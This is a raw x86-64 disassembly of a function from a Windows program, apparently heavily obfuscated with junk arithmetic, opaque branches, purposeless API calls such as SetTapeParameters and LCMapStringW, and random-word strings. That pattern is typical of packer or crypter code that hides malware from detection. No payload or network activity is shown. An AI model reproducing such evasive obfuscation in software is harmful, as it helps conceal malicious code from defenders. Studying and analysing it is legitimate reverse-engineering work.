mov qword [rsp + 0x4da0], rax
mov dword [rsp + 0x29a4], 0x6cf2
mov eax, 0x7259
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x29a8], 0x18ac
cmp dword [rsp + 0x29a4], 0x70c2
ja 0x140057304
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
and eax, 0xcd
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shr eax, cl
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x6c2a2be641aed00a
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d78], rax
movzx eax, byte [rsp + 0x5f]
xor eax, 0xf1
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
add eax, 0x25
mov byte [rsp + 0x131], al
movsx eax, word [rsp + 0xb1c]
and eax, 0x6e97
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x79
mov byte [rsp + 0x131], al
mov eax, dword [rsp + 0x29a4]
add eax, 0x10
mov dword [rsp + 0x29a4], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
sub eax, 0x63
mov byte [rsp + 0x5f], al
movabs rax, 0x4290632ff700655d
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2974], eax
movabs rax, 0xd3946256d99da299
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x7e53cc1db90fadd4
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x131]
sub eax, 0x79
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
add eax, 0x3c6
mov word [rsp + 0xb18], ax
jmp 0x140057147
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
xor eax, 0x3b
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
or eax, 0x2f
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4d78]
sar rax, 0x3d
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb1c]
shl eax, 9
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2974], eax
movabs rax, 0x6c472fe110fff719
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movabs rax, 0x177e153382376938
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
movsx eax, byte [rsp + 0x131]
and eax, 0x4a
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x2d
mov byte [rsp + 0x131], al
movzx eax, word [rsp + 0xb18]
add eax, 0x9f
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
sub eax, 0x2b
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
sub eax, 0x52
mov byte [rsp + 0x5f], al
movsx eax, word [rsp + 0xb1c]
add eax, 0x303a
mov word [rsp + 0xb1c], ax
movabs rax, 0xf2cd81fc082397d7
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x6a00b66701d9c294
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x4da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movabs rax, 0x2890408dac4a67f7
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5f]
sub eax, 0x51
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
add eax, 0x1d
mov byte [rsp + 0x131], al
movsx eax, word [rsp + 0xb1c]
add eax, 0x7603
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sub eax, 0x62
mov byte [rsp + 0x131], al
movabs rax, 0x6dbb529db9b59dd0
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x1e687745cf1e20a8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
add eax, 0x18ea
mov word [rsp + 0xb1c], ax
movzx eax, word [rsp + 0xb18]
xor eax, 0x5f
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
or eax, 0xd7
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xb18]
shl eax, 4
mov word [rsp + 0xb18], ax
mov eax, dword [rsp + 0x299c]
sub eax, 0x4f
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x7e8329736e302fb6
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2974], eax
movabs rax, 0x16daa600f6f95f70
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb1c]
sub eax, 0x5444
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
sub eax, 0xf1
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x131]
and eax, 8
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, byte [rsp + 0x131]
add eax, 0x46
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
sub eax, 0x9f
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2988]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x5e104d7347563b1c
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d88]
shr rax, 1
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x131]
or eax, 0x12
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
sub eax, 0x5ed3
mov word [rsp + 0xb1c], ax
cmp dword [rsp + 0x299c], 0x25bf
jae 0x140057304
mov rax, qword [rsp + 0x4d90]
movzx eax, byte [rax]
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x29ac], eax
cmp dword [rsp + 0x29ac], 0
je 0x1400577f5
jmp 0x140149881
lea rax, [rsp + 0xb18]
mov qword [rsp + 0x4db0], rax
movzx eax, byte [rsp + 0x131]
mov byte [rsp + 0x29b0], al
cmp byte [rsp + 0x29b0], 0x56
je 0x140057823
jmp 0x14005796e
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov qword [rsp + 0x4db8], rax
movabs rax, 0x336faad5e8989bd8
cmp qword [rsp + 0x4db8], rax
je 0x14005784f
jmp 0x14005795b
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov dword [rsp + 0x29b4], eax
cmp dword [rsp + 0x29b4], 0xcc00
je 0x140057873
jmp 0x140057941
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov qword [rsp + 0x4dc0], rax
movabs rax, 0x66720b70773721dc
cmp qword [rsp + 0x4dc0], rax
je 0x1400578b1
jmp 0x14005793f
movsx eax, word [rsp + 0xb1c]
mov dword [rsp + 0x29b8], eax
cmp dword [rsp + 0x29b8], 0x4a9c
je 0x1400578dc
cmp dword [rsp + 0x29b8], 0x5009
je 0x140057920
jmp 0x14005793f
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sar eax, cl
mov byte [rsp + 0x5f], al
mov r9d, dword [rsp + 0x2988]
mov r8d, dword [rsp + 0x2988]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x131]
call fcn.14014bb40
nop
jmp 0x14005793f
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
jmp 0x140057959
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
and eax, 0xb1a
mov word [rsp + 0xb18], ax
jmp 0x140057969
movzx ecx, word [rsp + 0xb1c]
call fcn.14014a980
nop
jmp 0x140057a6c
lea rdx, [rsp + 0x15340]
mov ecx, 0x9e
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x5445d367cb9a73c0
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov dword [rsp + 0x29bc], eax
cmp dword [rsp + 0x29bc], 0xce4
je 0x1400579e5
jmp 0x140057a4f
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x2980]
ja 0x140057a22
mov ecx, 0xb9
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [rsp + 0x2990], eax
movzx ecx, word [rsp + 0xb1c]
call fcn.14014a980
nop
jmp 0x140057a4d
movsx eax, word [rsp + 0xb1c]
cmp eax, 0x66fe
jl 0x140057a4d
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov byte [rsp + 0x132], al
jmp 0x140057a6c
lea rdx, [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4dc8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x29c0], eax
movzx eax, word [rsp + 0xb18]
mov dword [rsp + 0x29c4], eax
cmp dword [rsp + 0x29c4], 0xcc00
je 0x140057a8d
jmp 0x140057b5b
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0xb20], ax
movabs rax, 0xbbadbbefa40ab528
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4d70]
jae 0x140057b18
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
and eax, 0x2c40
mov word [rsp + 0xb20], ax
mov r8d, 0xc1
lea rdx, str.raping_mutate_Nostril_absorbed
lea rcx, [rsp + 0x15e40]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
mov qword [rsp + 0x4dd0], rax
jmp 0x140057b4b
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
cmp eax, ecx
jg 0x140057b4b
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
shl eax, 1
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x29c8], 0x855c
jmp 0x140057c3c
movzx eax, word [rsp + 0xb18]
sar eax, 0x1b
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
cmp eax, ecx
jl 0x140057bf3
movsx eax, word [rsp + 0xb20]
mov dword [rsp + 0x29cc], eax
cmp dword [rsp + 0x29cc], 0x11e8
je 0x140057bba
cmp dword [rsp + 0x29cc], 0x324d
je 0x140057ba0
jmp 0x140057bf3
movzx eax, word [rsp + 0xb18]
xor eax, 0xc2e
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
jmp 0x140057bf3
mov dword [rsp + 0x28], 0xc7
lea rax, [rsp + 0x15340]
mov qword [rsp + 0x20], rax
mov r9d, 0x64
lea r8, str.Shone_suppurating_sunstroke_famously
mov edx, 0xd3
mov ecx, 0xa9
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x29d0], eax
movabs rax, 0xcd1d217692563301
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
movabs rax, 0x53c44f8a1d345312
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
call fcn.140149dc0
nop
mov dword [rsp + 0x29d4], 0x11f76
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
lea rax, [rsp + 0x133]
mov qword [rsp + 0x4dd8], rax
movzx eax, word [rsp + 0xb18]
mov dword [rsp + 0x29d8], eax
cmp dword [rsp + 0x29d8], 0x2df
je 0x140057d32
cmp dword [rsp + 0x29d8], 0xcc00
je 0x140057ca2
jmp 0x140057e3a
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x131]
imul eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x140057cfb
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
and eax, 0x475
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movzx eax, byte [rax]
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x4de0], rax
jmp 0x140057e3a
lea r8, [rsp + 0x28ac]
mov edx, 0x4c
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x3c3f321181aa5fb8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x29d0]
mov dword [rsp + 0x29dc], eax
cmp dword [rsp + 0x29dc], 0x59d1ce1a
je 0x140057d91
jmp 0x140057dbc
mov r9d, dword [rsp + 0x2980]
mov r8d, dword [rsp + 0x28ac]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x134]
call fcn.14014bb40
nop
jmp 0x140057e3a
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov dword [rsp + 0x29d0], 0x292b94c
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29d0]
mov r8d, 0x95
lea rdx, [rsp + 0x4db0]
mov rcx, qword [rsp + 0x4d80]
call qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [rsp + 0x29e0], eax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov dword [rsp + 0x29e4], 0x497c
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb18], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
sar rax, 0x23
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x2994]
sub eax, 0xd3
mov dword [rsp + 0x2994], eax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x134]
or eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2988]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x4de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0x131], al
movsx eax, word [rsp + 0xb20]
sub eax, 0x62dc
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x28ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movabs rax, 0x1a577542b31d87c
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
cmp dword [rsp + 0x2994], 0x28de
ja 0x140057e54
lea rax, [rsp + 0x134]
mov qword [rsp + 0x4df0], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x135], al
mov dword [rsp + 0x29e8], 0x9265
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x5f]
sar eax, cl
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x4df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
or eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov eax, dword [rsp + 0x29e8]
sub eax, 0x79
mov dword [rsp + 0x29e8], eax
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb24], ax
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb24], ax
movabs rax, 0x3d9fd9f6a27a2527
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d78]
shl rax, 3
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sar eax, cl
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x490747da03da6f9b
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d78], rax
mov dword [rsp + 0x29d0], 0x77aee7f3
cmp dword [rsp + 0x29e8], 0x7b3c
jae 0x14005808d
cmp dword [rsp + 0x2998], 0xc3a5
ja 0x1400587e8
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb1c]
sub eax, 0x4f16
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb18], ax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sar eax, cl
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x29d0]
or eax, 0x466c4e63
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x4e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4d98]
movabs rcx, 0x5187b2224022ff2b
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov dword [rsp + 0x2974], eax
movabs rax, 0x597bec3a7441213a
mov rcx, qword [rsp + 0x4d78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
shl eax, cl
mov word [rsp + 0xb18], ax
mov eax, dword [rsp + 0x2998]
add eax, 6
mov dword [rsp + 0x2998], eax
movsx eax, word [rsp + 0xb1c]
or eax, 0x1288
mov word [rsp + 0xb20], ax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov byte [rsp + 0x134], al
movsx eax, word [rsp + 0xb1c]
add eax, 0x2d6e
mov word [rsp + 0xb20], ax
